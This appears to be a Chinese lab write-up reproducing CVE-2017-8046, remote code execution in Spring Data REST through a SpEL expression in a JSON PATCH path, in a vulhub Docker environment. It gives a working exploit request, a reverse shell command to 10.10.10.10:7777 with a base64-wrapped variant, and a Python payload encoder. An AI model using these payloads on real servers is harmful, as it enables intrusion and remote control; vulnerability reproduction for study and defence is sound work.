0%

Spring Data REST PATCH 请求代码执行漏洞复现(CVE-2017-8046)

漏洞描述

Spring Data REST是Spring Data项目的一部分,可以轻松地在Spring Data存储库之上构建超媒体驱动的REST Web服务。

恶意的PATCH请求使用精心构造的JSON数据提交到spring-data-rest服务可以执行任意JAVA代码

影响版本

Spring Data REST versions prior to 2.5.12, 2.6.7, 3.0 RC3

可以查看spring-data-rest-webmvc jar包的版本

环境搭建

1
2
cd /vulhub/spring/CVE-2017-8046/
docker-compose up -d

等待环境启动完成,然后访问http://your-ip:8080/即可看到json格式的返回值,说明这是一个Restful风格的API服务器。

image

漏洞复现

访问http://your-ip:8080/customers/1,看到一个资源。我们使用PATCH请求来修改之:

1
2
3
4
5
6
7
8
9
10
11
12
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令ouch /tmp/success

image

然后进入容器docker exec -it 容器id /bin/bash看看:

image

制作反弹shell的POC:

命令:bash -i >& /dev/tcp/10.10.10.10/7777 0>&1

base64编码bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNzc3NyAwPiYxYA==}|{base64,-d}|{bash,-i}

通过下面的python代码将每个字符转为对应的十进制:

1
2
3
payload = b'这里填poc'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

image

重新发包修改为反弹shell的poc:

image